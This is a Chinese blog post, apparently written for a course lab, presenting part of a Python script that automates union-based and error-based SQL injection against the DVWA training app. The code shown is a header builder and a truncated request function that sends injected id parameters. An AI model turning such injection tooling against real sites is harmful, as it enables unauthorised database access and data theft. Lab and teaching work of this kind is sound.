基于dvwa的自动化sql注入脚本

该博客介绍了一个基于Python编写的自动化SQL注入脚本,适用于DVWA靶场中的SQL Injection低级别(Low)场景。脚本仅处理GET方式的注入,并利用联合注入和报错注入方法。通过HTTP头部信息构造SQL语句,解析数据库名、表名和字段,获取数据。报错注入部分使用了UPDATXML函数,通过捕获'XPATH syntax error'错误信息来判断注入成功。完整代码可在GitHub上查看。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入

概念等就不做介绍了,前人之述备矣。
本代码仅完成了get方式的注入,只针对了dvwa靶场中sql注入和盲注low部分的自动注入。(为了完成课程实验,因为dvwa里low级别注入方式是字符型的注入方式,因此我也减少了判断是数字注入还是字符注入,但要实现也容易,判断完类型后在构造sql语句中是否加“ ’ ”)
需要先构造http头部信息:

def get_header(url, cookie):  # 生成头部信息
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}', url).group()
    headers = {
   
        'Host': f'{ip}',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests': '1'
    }
    return headers, ip

下面是各部分代码:

联合注入

根据构造注入的sql语句,url和头部信息,获取到页面,当页面出现Unknown时表示注入错误,当注入正确时会返回页面信息。

def sql_union_inject(sql, url, headers):
    str = f'?id={sql}&Submit=Submit#'
    printf("正在猜解:" + url + str)
    recv = requests.get(url + str, headers=headers).text
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值